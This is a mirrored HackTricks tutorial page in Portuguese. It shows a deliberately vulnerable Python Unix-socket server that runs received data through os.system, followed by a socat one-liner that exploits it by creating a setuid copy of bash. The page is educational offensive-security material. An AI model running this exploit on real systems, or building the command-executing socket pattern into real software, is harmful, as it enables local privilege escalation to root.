mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-24 20:13:37 +00:00
73 lines
3.6 KiB
Markdown
73 lines
3.6 KiB
Markdown
|
{% hint style="success" %}
|
||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|
||
|
{% endhint %}
|
||
|
|
||
|
|
||
|
## Exemplo de binding de socket com Python
|
||
|
|
||
|
No exemplo a seguir, um **socket unix é criado** (`/tmp/socket_test.s`) e tudo o que for **recebido** será **executado** por `os.system`. Eu sei que você não vai encontrar isso na prática, mas o objetivo deste exemplo é ver como um código usando sockets unix se parece e como gerenciar a entrada no pior caso possível.
|
||
|
|
||
|
{% code title="s.py" %}
|
||
|
```python
|
||
|
import socket
|
||
|
import os, os.path
|
||
|
import time
|
||
|
from collections import deque
|
||
|
|
||
|
if os.path.exists("/tmp/socket_test.s"):
|
||
|
os.remove("/tmp/socket_test.s")
|
||
|
|
||
|
server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
|
||
|
server.bind("/tmp/socket_test.s")
|
||
|
os.system("chmod o+w /tmp/socket_test.s")
|
||
|
while True:
|
||
|
server.listen(1)
|
||
|
conn, addr = server.accept()
|
||
|
datagram = conn.recv(1024)
|
||
|
if datagram:
|
||
|
print(datagram)
|
||
|
os.system(datagram)
|
||
|
conn.close()
|
||
|
```
|
||
|
{% endcode %}
|
||
|
|
||
|
**Execute** o código usando python: `python s.py` e **verifique como o socket está escutando**:
|
||
|
```python
|
||
|
netstat -a -p --unix | grep "socket_test"
|
||
|
(Not all processes could be identified, non-owned process info
|
||
|
will not be shown, you would have to be root to see it all.)
|
||
|
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
|
||
|
```
|
||
|
**Exploit**
|
||
|
```python
|
||
|
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
|
||
|
```
|
||
|
{% hint style="success" %}
|
||
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Suporte ao HackTricks</summary>
|
||
|
|
||
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|
||
|
</details>
|
||
|
{% endhint %}
|